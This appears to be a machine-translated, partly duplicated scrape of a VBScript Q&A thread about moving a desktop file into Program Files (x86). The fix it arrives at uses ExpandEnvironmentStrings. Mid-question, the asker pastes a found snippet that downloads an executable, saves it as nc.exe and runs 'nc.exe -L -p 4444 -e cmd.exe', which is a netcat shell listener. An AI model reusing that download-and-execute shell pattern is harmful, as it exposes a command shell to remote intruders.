VBScript中的移动命令目标是程序文件(x86)";更改为下载到(x86)

VBScript中的移动命令目标是程序文件(x86)";更改为下载到(x86),vbscript,Vbscript,请保留所有回复。刚刚发现了一些东西 dim http_obj dim stream_obj dim shell_obj set http_obj = CreateObject("Microsoft.XMLHTTP") set stream_obj = CreateObject("ADODB.Stream") set shell_obj = CreateObject("WScript.Shell") URL = "http://www.mikemurr.com/example.exe" 'Wh

请保留所有回复。刚刚发现了一些东西

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

shell_obj.run RUNCMD
因此,我的许多行vbs,以及它将打开(或不打开)的字符串目前有一个vbs,它打开一个url来下载一些内容,其中包含关于保存位置的说明,并在完成后从下载文件夹移动到程序(x86),但看起来我找到了一些可以将文件下载到(x86)的内容。我会看看下载到特殊文件夹需要什么

我知道我的下一个奋斗目标是让vbs等待

待办事项

start/wait drive:\path\file.exe
等待安装完成,然后继续执行下一个任务

Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
    WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
    WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
让我创建了许多vbs文件以按顺序运行,但我还没有测试。所以我不知道是否每个人都会等到程序安装完成,或者我是否需要创建一个循环来查看exe是否仍在运行

我有一个“学习vbs”文件夹,其中有一些示例可供修改以进行构建。我在学习和测试的过程中不断扩展


由于出现错误,我无法将文件从桌面移动到程序文件(X86)

Set sh  = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")

Set fso = CreateObject("Scripting.FileSystemObject")
source      = fso.BuildPath(desktop, "file to move")
     'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
错误不匹配文件

如果我删除目标程序文件(x86)周围的“”

Set sh  = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")

Set fso = CreateObject("Scripting.FileSystemObject")
source      = fso.BuildPath(desktop, "file to move")
     'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
我被弹出)错误。我错过了什么

编辑:来自下面的回复


正如已经指出的,程序文件(x86)=。。。不是有效的语法。变量名不能包含空格,只有在声明数组变量时才允许使用括号。此外,SpecialFolders集合没有成员“Program Files(x86)”

而是展开相应的环境变量:

Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"
Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"
此外,您的命令还会尝试移动文件夹“要移动的文件”的内容。这是故意的吗?如果要移动文件“file to move”,则必须将最后一条语句更改为fso.MoveFile src、dst&“\”

我的评论是:

否,“要移动的文件”被“不确定是否应该包括扩展名是要移动的文件的名称(即myfile.extension)而不是“文件夹”文件搁置。文件夹是“桌面”

我这样说

source      = fso.BuildPath(desktop, "file to move.extension")
我不是在找人为我写代码的人。我以前在vbs中尝试过在dos(即%userprofile%)中工作的%path%方法,但遇到了问题,无法查看

dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
让我挠头。即使使用expand命令


做一些测试。将使用更新进行编辑。很抱歉反应太晚。周末爱好项目。正如已经指出的,
程序文件(x86)=…
是无效的语法。变量名不能包含空格,只有在声明数组变量时才允许使用括号。此外,没有成员“程序文件(x86)”

而是展开相应的环境变量:

Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"
Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"
此外,您的命令还会尝试移动文件夹“要移动的文件”的内容。这是故意的吗?如果要移动文件“file to move”必须将最后一条语句更改为
fso.MoveFile src,dst&“\”

程序文件(x86)
在vbscript中不是有效的变量名。
Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"